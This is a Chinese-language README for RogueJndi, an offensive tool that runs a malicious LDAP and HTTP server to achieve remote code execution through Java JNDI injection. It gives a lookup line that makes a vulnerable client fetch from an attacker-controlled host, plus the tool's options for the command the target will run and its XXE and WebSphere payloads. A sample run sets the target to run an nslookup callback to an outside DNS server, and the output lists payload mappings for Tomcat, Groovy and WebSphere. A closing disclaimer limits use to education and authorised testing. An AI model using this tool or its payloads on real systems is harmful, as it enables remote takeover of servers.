
一个用于JNDI注入攻击的恶意LDAP服务器
一个用于 JNDI 注入攻击的恶意 LDAP 服务器。
该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。
为了执行攻击,你可以在本地启动这些服务器,然后在存在漏洞的客户端上触发 JNDI 解析,例如:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后,本地服务器会响应一个包含其中一个 payload 的恶意条目,该条目可用于实现远程代码执行。
除了已知的 JNDI 攻击方法(通过引用中的远程类加载)之外,该工具还利用 ObjectFactories 的能力带来了新的攻击向量。
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
最重要的参数是 ldap 服务器主机名(-n,需要能够从目标服务器访问)以及你希望在目标服务器上执行的命令(-c)。
除了使用 "-c" 选项之外,你还可以修改 ExportObject.java 文件,将你想要在目标服务器上执行的 Java 代码放入其中。
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
需要 Java v1.7+ 和 Maven v3+
mvn package
本软件仅用于教育目的和/或测试用户事先已获得攻击许可的系统。